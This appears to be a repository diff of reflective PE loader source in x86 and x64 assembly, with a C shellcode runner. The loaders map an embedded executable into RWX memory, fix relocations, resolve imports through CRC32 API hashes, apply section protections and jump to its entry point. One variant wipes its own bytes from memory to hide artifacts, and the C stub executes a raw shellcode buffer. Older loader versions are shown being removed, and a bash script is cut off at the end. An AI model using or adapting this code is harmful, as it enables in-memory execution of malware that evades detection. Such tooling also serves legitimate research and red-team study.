loc_40a14a: jmp loc_40a13c
loc_40a14c: mov WORD [esp+0x224],0x0
loc_40a156: mov WORD [esp+0x226],0x2
loc_40a160: lea eax,[esp+0x1c]
loc_40a164: mov DWORD [esp+0x228],eax
loc_40a16b: jmp loc_40a103
+67
View File
@@ -0,0 +1,67 @@
[BITS 32]
map_image:
loc_401f00: push ebp
loc_401f01: push edi
loc_401f02: push esi
loc_401f03: push ebx
loc_401f04: sub esp,0x3c
loc_401f07: mov ebp,DWORD [esp+0x50]
loc_401f0b: mov edi,ebp
loc_401f0d: add edi,DWORD [ebp+0x3c]
loc_401f10: mov eax,0x0
loc_401f15: cmp DWORD [edi],0x4550
loc_401f1b: jne loc_401fcf
loc_401f21: mov DWORD [esp+0x2c],0x0
loc_401f29: mov eax,DWORD [edi+0x50]
loc_401f2c: mov DWORD [esp+0x28],eax
loc_401f30: mov DWORD [esp+0x14],0x4
loc_401f38: mov DWORD [esp+0x10],0x103000
loc_401f40: lea eax,[esp+0x28]
loc_401f44: mov DWORD [esp+0xc],eax
loc_401f48: mov DWORD [esp+0x8],0x0
loc_401f50: lea eax,[esp+0x2c]
loc_401f54: mov DWORD [esp+0x4],eax
loc_401f58: mov DWORD [esp],0xffffffff
loc_333333: push 0x99CE7C55
loc_444444: call api_call
loc_yyyyyy: add esp,4
loc_401f5f: call eax
loc_401f65: sub esp,0x18
loc_401f68: mov edx,eax
loc_401f6a: mov eax,0x0
loc_401f6f: test edx,edx
loc_401f71: js loc_401fcf
loc_401f73: mov eax,DWORD [edi+0x54]
loc_401f76: mov DWORD [esp+0x8],eax
loc_401f7a: mov DWORD [esp+0x4],ebp
loc_401f7e: mov eax,DWORD [esp+0x2c]
loc_401f82: mov DWORD [esp],eax
loc_401f85: call memcpy
loc_401f8a: movzx eax,WORD [edi+0x14]
loc_401f8e: lea ebx,[edi+eax*1+0x18]
loc_401f92: cmp WORD [edi+0x6],0x0
loc_401f97: je loc_401fcb
loc_401f99: mov esi,0x0
loc_401f9e: mov eax,DWORD [ebx+0xc]
loc_401fa1: add eax,DWORD [esp+0x2c]
loc_401fa5: mov edx,ebp
loc_401fa7: add edx,DWORD [ebx+0x14]
loc_401faa: mov ecx,DWORD [ebx+0x10]
loc_401fad: mov DWORD [esp+0x8],ecx
loc_401fb1: mov DWORD [esp+0x4],edx
loc_401fb5: mov DWORD [esp],eax
loc_401fb8: call memcpy
loc_401fbd: add esi,0x1
loc_401fc0: add ebx,0x28
loc_401fc3: movzx eax,WORD [edi+0x6]
loc_401fc7: cmp eax,esi
loc_401fc9: jg loc_401f9e
loc_401fcb: mov eax,DWORD [esp+0x2c]
loc_401fcf: add esp,0x3c
loc_401fd2: pop ebx
loc_401fd3: pop esi
loc_401fd4: pop edi
loc_401fd5: pop ebp
loc_401fd6: ret
+20
View File
@@ -0,0 +1,20 @@
[BITS 32]
; memcpy(&dst, &src, size)
memcpy:
push ebp
mov ebp, esp
push esi
push edi
push ecx
mov edi,[ebp+8]
mov esi,[ebp+12]
mov ecx,[ebp+16]
copy_byte:
rep movsb ; Copy the CX number of bytes from RSI to RDI
pop ecx
pop edi
pop esi
mov esp,ebp
pop ebp
ret ; Return
+106
View File
@@ -0,0 +1,106 @@
[BITS 32]
protect_sections:
loc_4057e8: push ebp
loc_4057e9: push edi
loc_4057ea: push esi
loc_4057eb: push ebx
loc_4057ec: sub esp,0x4c
loc_4057ef: mov ebp,DWORD [esp+0x60]
loc_4057f3: mov edi,ebp
loc_4057f5: add edi,DWORD [ebp+0x3c]
loc_4057f8: movzx eax,WORD [edi+0x14]
loc_4057fc: lea ebx,[edi+eax*1+0x18]
loc_405800: mov DWORD [esp+0x3c],0x0
loc_405808: cmp WORD [edi+0x6],0x0
loc_40580d: je loc_405840
loc_40580f: mov esi,0x0
loc_405814: mov ebp,edi
loc_405816: jmp loc_40591e
loc_40581b: mov BYTE [esp+0x2f],0x1
loc_405820: jmp loc_405863
loc_405822: mov edx,0x20
loc_405827: jmp loc_4058ba
loc_40582c: mov eax,0x0
loc_405831: jmp loc_405838
loc_405833: mov eax,0x1
loc_405838: add esp,0x4c
loc_40583b: pop ebx
loc_40583c: pop esi
loc_40583d: pop edi
loc_40583e: pop ebp
loc_40583f: ret
loc_405840: mov eax,0x1
loc_405845: jmp loc_405838
loc_405847: mov edi,eax
loc_405849: shr edi,0x1f
loc_40584c: mov BYTE [esp+0x2f],0x0
loc_405851: test eax,0x20000000
loc_405856: je loc_405892
loc_405858: mov edx,0x10
loc_40585d: mov ecx,edi
loc_40585f: test cl,cl
loc_405861: je loc_405897
loc_405863: and eax,0x60000000
loc_405868: mov edi,0x1
loc_40586d: cmp eax,0x60000000
loc_405872: mov edx,0x20
loc_405877: mov eax,0x80
loc_40587c: cmovne edx,eax
loc_40587f: jmp loc_4058a7
loc_405881: test eax,0x20000000
loc_405886: jne loc_40581b
loc_405888: mov BYTE [esp+0x2f],0x1
loc_40588d: mov edx,0x4
loc_405892: mov edi,0x0
loc_405897: and eax,0x60000000
loc_40589c: cmp eax,0x60000000
loc_4058a1: je loc_405822
loc_4058a7: cmp BYTE [esp+0x2f],0x0
loc_4058ac: je loc_4058ba
loc_4058ae: mov eax,edi
loc_4058b0: test al,al
loc_4058b2: mov eax,0x40
loc_4058b7: cmovne edx,eax
loc_4058ba: mov eax,DWORD [esp+0x60]
loc_4058be: mov ecx,DWORD [esp+0x28]
loc_4058c2: add eax,DWORD [ecx+0xc]
loc_4058c5: mov DWORD [esp+0x3c],eax
loc_4058c9: mov eax,DWORD [ecx+0x10]
loc_4058cc: mov DWORD [esp+0x34],eax
loc_4058d0: mov DWORD [esp+0x38],0x0
loc_4058d8: lea eax,[esp+0x38]
loc_4058dc: mov DWORD [esp+0x10],eax
loc_4058e0: mov DWORD [esp+0xc],edx
loc_4058e4: lea eax,[esp+0x34]
loc_4058e8: mov DWORD [esp+0x8],eax
loc_4058ec: lea eax,[esp+0x3c]
loc_4058f0: mov DWORD [esp+0x4],eax
loc_4058f4: mov DWORD [esp],0xffffffff
loc_555555: push 0x6EDE4D41
loc_666666: call api_call
loc_zzzzzz: add esp,4
loc_4058fb: call eax
loc_405901: sub esp,0x14
loc_405904: test eax,eax
loc_405906: js loc_40582c
loc_40590c: add esi,0x1
loc_40590f: add ebx,0x28
loc_405912: movzx eax,WORD [ebp+0x6]
loc_405916: cmp eax,esi
loc_405918: jle loc_405833
loc_40591e: mov DWORD [esp+0x28],ebx
loc_405922: mov eax,DWORD [ebx+0x24]
loc_405925: test eax,eax
loc_405927: je loc_40590c
loc_405929: cdq
loc_40592a: and edx,0xffffffc8
loc_40592d: add edx,0x40
loc_405930: test eax,0x40000000
loc_405935: je loc_405847
loc_40593b: test eax,eax
loc_40593d: js loc_405881
loc_405943: mov edi,0x0
loc_405948: mov BYTE [esp+0x2f],0x1
loc_40594d: mov edx,0x2
loc_405952: jmp loc_405851
+57
View File
@@ -0,0 +1,57 @@
[BITS 32]
relocate_image:
loc_403055: push ebp
loc_403056: push edi
loc_403057: push esi
loc_403058: push ebx
loc_403059: mov ebp,DWORD [esp+0x14]
loc_40305d: mov ebx,ebp
loc_40305f: add ebx,DWORD [ebp+0x3c]
loc_403062: mov edx,DWORD [ebx+0xa0]
loc_403068: mov eax,0x0
loc_40306d: test edx,edx
loc_40306f: je loc_4030d3
loc_403071: add edx,ebp
loc_403073: mov esi,ebp
loc_403075: sub esi,DWORD [ebx+0x34]
loc_403078: cmp DWORD [edx],0x0
loc_40307b: jne loc_4030be
loc_40307d: mov eax,0x1
loc_403082: jmp loc_4030d3
loc_403084: movzx ecx,WORD [eax]
loc_403087: and ecx,0xfff
loc_40308d: add ecx,DWORD [edx]
loc_40308f: add DWORD [ebp+ecx*1+0x0],esi
loc_403093: add eax,0x2
loc_403096: mov ecx,edx
loc_403098: add ecx,DWORD [edx+0x4]
loc_40309b: cmp eax,ecx
loc_40309d: je loc_4030b7
loc_40309f: movzx ecx,BYTE [eax+0x1]
loc_4030a3: mov edi,ecx
loc_4030a5: and edi,0xfffffff0
loc_4030a8: mov ebx,edi
loc_4030aa: cmp bl,0x30
loc_4030ad: je loc_403084
loc_4030af: cmp cl,0xf
loc_4030b2: jbe loc_403093
loc_4030b4: int3
loc_4030b5: jmp loc_403093
loc_4030b7: mov edx,eax
loc_4030b9: cmp DWORD [edx],0x0
loc_4030bc: je loc_4030ce
loc_4030be: lea eax,[edx+0x8]
loc_4030c1: mov ecx,edx
loc_4030c3: add ecx,DWORD [edx+0x4]
loc_4030c6: cmp eax,ecx
loc_4030c8: jne loc_40309f
loc_4030ca: mov edx,ecx
loc_4030cc: jmp loc_4030b9
loc_4030ce: mov eax,0x1
loc_4030d3: pop ebx
loc_4030d4: pop esi
loc_4030d5: pop edi
loc_4030d6: pop ebp
loc_4030d7: ret
+77
View File
@@ -0,0 +1,77 @@
[BITS 32]
resolve_imports:
loc_4042ff: push ebp
loc_404300: push edi
loc_404301: push esi
loc_404302: push ebx
loc_404303: sub esp,0x2c
loc_404306: mov ebp,DWORD [esp+0x40]
loc_40430a: mov eax,DWORD [ebp+0x3c]
loc_40430d: mov edx,DWORD [ebp+eax*1+0x80]
loc_404314: mov eax,0x0
loc_404319: test edx,edx
loc_40431b: je loc_4043d5
loc_404321: lea eax,[ebp+edx*1+0x0]
loc_404325: mov DWORD [esp+0x1c],eax
loc_404329: mov eax,DWORD [eax+0xc]
loc_40432c: test eax,eax
loc_40432e: jne loc_4043a4
loc_404330: mov eax,0x1
loc_404335: jmp loc_4043d5
loc_40433a: mov DWORD [esp+0x8],eax
loc_40433e: mov DWORD [esp+0x4],0x0
loc_404346: mov DWORD [esp],edi
loc_404349: call get_proc_by_crc
loc_40434e: test eax,eax
loc_404350: je loc_404354
loc_404352: mov DWORD [esi],eax
loc_404354: add ebx,0x4
loc_404357: add esi,0x4
loc_40435a: mov eax,DWORD [ebx]
loc_40435c: test eax,eax
loc_40435e: je loc_404394
loc_404360: test eax,eax
loc_404362: js loc_40433a
loc_404364: mov DWORD [esp+0x4],0x0
loc_40436c: lea eax,[ebp+eax*1+0x2]
loc_404370: mov DWORD [esp],eax
loc_404373: call calc_crc
loc_404378: mov DWORD [esp+0x8],0xffffffff
loc_404380: mov DWORD [esp+0x4],eax
loc_404384: mov DWORD [esp],edi
loc_404387: call get_proc_by_crc
loc_40438c: test eax,eax
loc_40438e: je loc_404354
loc_404390: mov DWORD [esi],eax
loc_404392: jmp loc_404354
loc_404394: add DWORD [esp+0x1c],0x14
loc_404399: mov eax,DWORD [esp+0x1c]
loc_40439d: mov eax,DWORD [eax+0xc]
loc_4043a0: test eax,eax
loc_4043a2: je loc_4043c9
loc_4043a4: add eax,ebp
loc_4043a6: mov DWORD [esp],eax
loc_4043a9: call load_module
loc_4043ae: mov edi,eax
loc_4043b0: test eax,eax
loc_4043b2: je loc_4043d0
loc_4043b4: mov eax,DWORD [esp+0x1c]
loc_4043b8: mov ebx,ebp
loc_4043ba: add ebx,DWORD [eax]
loc_4043bc: mov esi,ebp
loc_4043be: add esi,DWORD [eax+0x10]
loc_4043c1: mov eax,DWORD [ebx]
loc_4043c3: test eax,eax
loc_4043c5: jne loc_404360
loc_4043c7: jmp loc_404394
loc_4043c9: mov eax,0x1
loc_4043ce: jmp loc_4043d5
loc_4043d0: mov eax,0x0
loc_4043d5: add esp,0x2c
loc_4043d8: pop ebx
loc_4043d9: pop esi
loc_4043da: pop edi
loc_4043db: pop ebp
loc_4043dc: ret
@@ -0,0 +1,32 @@
[BITS 32]
run_tls_callbacks:
loc_406cdf: push esi
loc_406ce0: push ebx
loc_406ce1: sub esp,0x14
loc_406ce4: mov esi,DWORD [esp+0x20]
loc_406ce8: mov eax,DWORD [esi+0x3c]
loc_406ceb: mov edx,DWORD [esi+eax*1+0xc0]
loc_406cf2: mov eax,0x0
loc_406cf7: test edx,edx
loc_406cf9: je loc_406d08
loc_406cfb: mov ebx,DWORD [esi+edx*1+0xc]
loc_406cff: mov eax,0x1
loc_406d04: test ebx,ebx
loc_406d06: jne loc_406d29
loc_406d08: add esp,0x14
loc_406d0b: pop ebx
loc_406d0c: pop esi
loc_406d0d: ret
loc_406d0e: mov DWORD [esp+0x8],0x0
loc_406d16: mov DWORD [esp+0x4],0x1
loc_406d1e: mov DWORD [esp],esi
loc_406d21: call eax
loc_406d23: sub esp,0xc
loc_406d26: add ebx,0x4
loc_406d29: mov eax,DWORD [ebx]
loc_406d2b: test eax,eax
loc_406d2d: jne loc_406d0e
loc_406d2f: mov eax,0x1
loc_406d34: jmp loc_406d08
+49
View File
@@ -0,0 +1,49 @@
;#===========================================#
;# x86 Reflective Loader #
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 3.0 #
;#===========================================#
[BITS 32]
%define e_lfanew 0x3C
%define _AddressOfEntry 0x28
loader_size equ pe_start-loader
call loader ; Start by calling over the PE image
loader:
pop esi ; Get current address into esi
add esi, loader_size ; Add the loader size
push ebp ; Save EBP
mov ebp,esp ; Create a stack frame
push esi ; Push the PE address as first parameter
call map_image ; Perform PE image mapping
pop esi ; Pop out the PE address
push eax ; Push new image baes to stack
call relocate_image ; Perform image relocation
call resolve_imports ; Resolve image imports & create IAT table
call protect_sections ; Apply proper section memory protections
call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯
pop edi ; Get the new image base value into edi
mov eax,[edi+e_lfanew] ; Get the file header offset
mov eax,[edi+eax+_AddressOfEntry] ; Get the AddressOfEntry into eax
add eax,edi ; Add the AOE onto new image base
cld ; Clear direction flags
mov esp, ebp ; Restore stack frame
pop ebp ; Restore RBP
jmp eax ; Jmp to the PE->AOE
; ------------------------ FUNCTIONS ------------------------------------
%include "./inc/memcpy.asm"
%include "./inc/calc_crc.asm"
%include "./inc/map_image.asm"
%include "./inc/load_module.asm"
%include "./inc/relocate_image.asm"
%include "./inc/resolve_imports.asm"
%include "./inc/get_proc_by_crc.asm"
%include "./inc/get_module_by_crc.asm"
%include "./inc/protect_sections.asm"
%include "./inc/run_tls_callbacks.asm"
%include "../crc32_api/crc32_api_x86.asm"
;------------------------ FUNCTIONS -------------------------------------
pe_start:
+58
View File
@@ -0,0 +1,58 @@
;#===========================================#
;# x86 Reflective Loader #
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 3.0 #
;#===========================================#
[BITS 32]
%define e_lfanew 0x3C
%define _AddressOfEntry 0x28
call start ; Start by calling over the PE image
incbin "putty.exe" ; PE image
start:
pop esi ; Get the PE address into esi
push ebp ; Save EBP
mov ebp,esp ; Create a stack frame
push esi ; Push the PE address as first parameter
call map_image ; Perform PE image mapping
pop esi ; Pop out the PE address
push eax ; Push new image baes to stack
call relocate_image ; Perform image relocation
call resolve_imports ; Resolve image imports & create IAT table
call protect_sections ; Apply proper section memory protections
call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯
pop edi ; Get the new image base value into edi
mov eax,[edi+e_lfanew] ; Get the file header offset
mov eax,[edi+eax+_AddressOfEntry] ; Get the AddressOfEntry into eax
add eax,edi ; Add the AOE onto new image base
jmp wipe ; Wipe memory artifacts
; ------------------------ FUNCTIONS ------------------------------------
%include "./inc/memcpy.asm"
%include "./inc/calc_crc.asm"
%include "./inc/map_image.asm"
%include "./inc/load_module.asm"
%include "./inc/relocate_image.asm"
%include "./inc/resolve_imports.asm"
%include "./inc/get_proc_by_crc.asm"
%include "./inc/get_module_by_crc.asm"
%include "./inc/protect_sections.asm"
%include "./inc/run_tls_callbacks.asm"
%include "../crc32_api/crc32_api_x86.asm"
;------------------------ FUNCTIONS -------------------------------------
wipe:
wipe_len_delta equ wipe_end-wipe
call $+5 ; Get current EIP to stack
pop ecx ; Pop currect EIP to RCX
sub ecx,esi ; Calculate the size of the PE file
add ecx,wipe_len_delta ; Add the size of wipe code
mov edi,esi ; Move the PE address to RDI
sub edi,0x5 ; Go back 5 bytes for wiping the initial call as well
wipe_end:
rep stosb ; Store AL into RDI and decrement RDI until RCX = 0
; -------------------- SWITCH TO PE ----------------------------
cld ; Clear direction flags
mov esp, ebp ; Restore stack frame
pop ebp ; Restore RBP
jmp eax ; Jmp to the PE->AOE
+10
View File
@@ -0,0 +1,10 @@
#include <windows.h>
#include "shellcode.h"
int main(int argc, char const *argv[])
{
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, shellcode, sizeof(shellcode));
(*(void(*)())BUFFER)();
return 0;
}
-168
View File
@@ -1,168 +0,0 @@
;#==============================================#
;# X64 Reflective Loader #
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 2.0 #
;#==============================================#
;
[BITS 64]
call start ; Get the address of pre-mapped PE image to stack
incbin "pemap.bin" ; Pre-mapped PE image
start:
pop rsi ; Get the address of image to rsi
call $+5 ; Push the current RIP value to stack
cld ; Clear direction flags
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE
mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
mov rdx,[rsp] ; dwSize
xor rcx,rcx ; lpAddress
xchg rsp,rbp ; Swap shadow stack
mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
xchg rsp,rbp ; Swap shadow stack
mov rdi,rax ; Save the new base address to rdi
xor rax,rax ; Zero out the RAX
xor r8,r8 ; Zero out the R8
xor r13,r13 ; Zero out the R13
xor r14,r14 ; Zero out the R14
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size
mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA
add rax,rsi ; Base relocation table memory address
add rcx,rax ; End of base relocation table
calc_delta:
mov rdx,rdi ; Move the new base address to rdx
sub rdx,rbx ; Delta value
mov r13d,dword [rax] ; Move the reloc RVA to R13D
mov r14d,dword [rax+4] ; Move the reloc table size to R14D
add rax,8 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp rcx,rax ; Check if the end of the reloc section
jle reloc_fin ; If yes goto fin
mov r13d,dword [rax] ; Move the new reloc RVA
mov r14d,dword [rax+4] ; Move the new reloc table size
add rax,8 ; Move 8 bytes
fix:
cmp r14w,8 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov r8w,word [rax] ; Move the reloc desc to r8w
cmp r8w,0 ; Check if it is a padding word
je pass ; Pass padding bytes
and r8w,0x0FFF ; Get the last 12 bits
add r8d,r13d ; Add block RVA to desc value
add r8,rsi ; Add the start address of the image
add [r8],rdx ; Add the delta value to calculated absolute address
pass:
sub r14d,2 ; Decrease the index
add rax,2 ; Move to the next reloc desc.
xor r8,r8 ; Zero out r8
jmp fix ; Loop
reloc_fin: ; All done !
xor r14,r14 ; Zero out r14
xor r15,r15 ; Zero out r15
xor rcx,rcx ; Zero out rcx
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to eax
jmp get_modules ; Get other modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to eax
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,0x3F ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,8 ; Increase the IAT index
add r15,8 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov qword [r14],0 ; Insert a NULL qword
ret ; <-
LoadLibraryA:
xchg rbp,rsp ; Swap shadow stack
mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA")
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress")
call api_call ; GetProcAddress(ebx,[esp+4])
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rcx ; Pop the ImageSize into RCX
push rdi ; Save ImageBase to stack
mov r13,rdi ; Copy the new base value to r13
add r13,r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov byte [rdi],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index
inc rdi ; Increase image base index
loop memcpy ; Loop until zero
; Flush instruction cache
pop r13 ; Pop the image base to r13
or rcx,-1 ; hProcess
xor rdx,rdx ; lpBaseAddress
xor r8,r8 ; hProcess
xchg rbp,rsp ; Swap shadow stack
mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache")
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
xchg rbp,rsp ; Swap shadow stack
add r13,r12 ; Add the address of entry value to image base
jmp PE_start ; Wipe artifacts from memory and start PE
; ========== API ==========
%include "CRC32_API/x64_crc32_api.asm"
PE_start:
mov rcx,wipe ; Get the number of bytes until wipe label
lea rax,[rip] ; Get RIP to RAX
nop ; Padding
wipe:
mov byte [rax],0 ; Wipe 1 byte at a time
dec rax ; Decraise RAX
loop wipe ; Loop until RCX = 0
jmp r13 ; Call the AOE
-164
View File
@@ -1,164 +0,0 @@
;#===========================================#
;# x86 Reflective Loader #
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 2.0 #
;#===========================================#
[BITS 32]
call start ; Get the address of pre-mapped PE image to stack
incbin "pemap.bin" ; Pre-mapped PE image
start:
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call $+5 ; Push the current EIP to stack
sub [esp],esi ; Subtract &PE from EIP and get image_size
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push 0x40 ; PAGE_EXECUTE_READ_WRITE
push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
push dword [esp+0xC] ; dwSize
push 0 ; lpAddress
push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
push eax ; Save the new image base to stack
xor edx,edx ; Zero out the edx
relocate:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,[eax+esi+0xA4] ; Base relocation table size
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
add eax,esi ; Base relocation table memory address
add ecx,eax ; End of base relocation table
calc_delta:
mov edi,[esp] ; Move the new base address to EDI
sub edi,ebx ; Delta value
push dword [eax] ; Reloc RVA
push dword [eax+4] ; Reloc table size
add eax,8 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp ecx,eax ; Check if the end of the reloc section ?
jle reloc_fin ; If yes goto fin
add esp,8 ; Deallocate old reloc RVA and reloc table size variables
push dword [eax] ; Push new reloc RVA
push dword [eax+4] ; Push new reloc table size
add eax,8 ; Move 8 bytes
fix:
cmp word [esp],8 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov dx,word [eax] ; Move the reloc desc to dx
cmp dx,0 ; Check if it is a padding word
je pass
and dx,0x0FFF ; Get the last 12 bits
add edx,[esp+4] ; Add block RVA to desc value
add edx,esi ; Add the start address of the image
add dword [edx],edi ; Add the delta value to calculated absolute address
pass:
sub dword [esp],2 ; Decrease the index
add eax,2 ; Move to the next reloc desc.
xor edx,edx ; Zero out edx
jmp fix ; Loop
reloc_fin:
pop eax ; Deallocate all vars
pop eax ; ...
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],4 ; Increase the import names table index
add dword [esp+4],4 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov byte [edx],al ; Move 1 byte of PE image to image base
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
jmp PE_start
; ========== API ==========
%include "CRC32_API/x86_crc32_api.asm"
PE_start:
mov ecx,wipe ; Get the number of bytes until wipe label
call wipe_start ; Call wipe_start
wipe_start:
pop eax ; Get EIP to EAX
wipe:
mov byte [eax],0 ; Wipe 1 byte at a time
dec eax ; Decraise EAX
loop wipe ; Loop until ECX = 0
jmp edi ; Call the AOE
+33
View File
@@ -0,0 +1,33 @@
#!/bin/bash
## ANSI Colors (FG & BG)
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" YELLOW="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"
REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" YELLOWBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"
MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"
RESET="$(printf '\e[0m')"
print_warning() {
echo ${YELLOW}"[!] ${RESET}${1}"
}
print_error() {
